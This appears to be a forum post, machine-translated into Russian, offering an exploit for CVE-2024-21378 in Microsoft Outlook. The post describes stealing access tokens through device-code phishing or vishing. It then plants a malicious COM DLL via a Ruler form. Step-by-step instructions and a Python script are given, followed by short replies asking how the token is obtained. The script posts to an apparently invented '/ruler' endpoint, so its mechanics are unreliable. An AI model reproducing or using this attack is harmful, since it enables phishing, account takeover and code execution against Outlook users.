Remote CVE-2024-21378 (Outlook)

[Det]

Этот репозиторий содержит эксплойт для таргетинга Microsoft Outlook через Exchange Online, использующий уязвимость для выполнения произвольного кода через COM DLL. Эксплойт использует модифицированную версию Ruler для отправки вредоносной формы в виде электронной почты, вызывая выполнение при взаимодействии пользователя с толстым клиентом Outlook. Эксплуатировать Обзор

Эксплойт работает, получая токены доступа через фишинг/вишинг кода устройства, а затем создавая совместимый с COM DLL, который отправляется в виде вложения формы с помощью Ruler. Взаимодействие пользователя в Outlook необходимо для запуска выполнения формы, что приводит к загрузке вредоносного DLL в процесс Outlook. Инструкции

Получение токенов обновления с помощью фишинга/вишинга кода устройства.
Скомпилируйте COM DLL, содержащую нужный код.
Измените предоставленный сценарий Python, указав целевой URL, маркер доступа, электронную почту получателя, путь к DLL и CLSID.
Запустите Python-скрипт для отправки вредоносной формы в целевую учетную запись Outlook.
Дождитесь, когда пользователь начнет взаимодействовать с письмом в клиенте Outlook, чтобы инициировать выполнение.

Переведено с помощью DeepL.com (бесплатная версия)

import requests

# Change these values to match your target environment
target_url = 'https://outlook-target.com'
access_token = 'YOUR_ACCESS_TOKEN_HERE'
recipient_email = 'target@example.com'
dll_path = 'path/to/malicious.dll'
clsid = '{00000000-0000-0000-0000-000000000001}'  # Replace with a valid CLSID

# Craft the form data for the request
form_data = {
    'token': access_token,
    'email': recipient_email,
    'o365': True,
    'debug': True,
    'form': 'add-com',
    'dll': dll_path,
    'suffix': 'Evil',
    'clsid': clsid,
    'name': 'Microsoft.Teams.Shim.dll',
    'send': True
}

# Send the request to the Ruler endpoint
response = requests.post(f'{target_url}/ruler', data=form_data)

# Check if the request was successful
if response.status_code == 200:
    print('Exploit successful! Malicious form sent to target.')
else:
    print('Exploit failed! Check your parameters and try again.')

 

[Sec13B]

how you get this : access_token = 'YOUR_ACCESS_TOKEN_HERE'

 

[Det]

how you get this : access_token = 'YOUR_ACCESS_TOKEN_HERE'

The exploit works by obtaining access tokens via device code phishing / vishing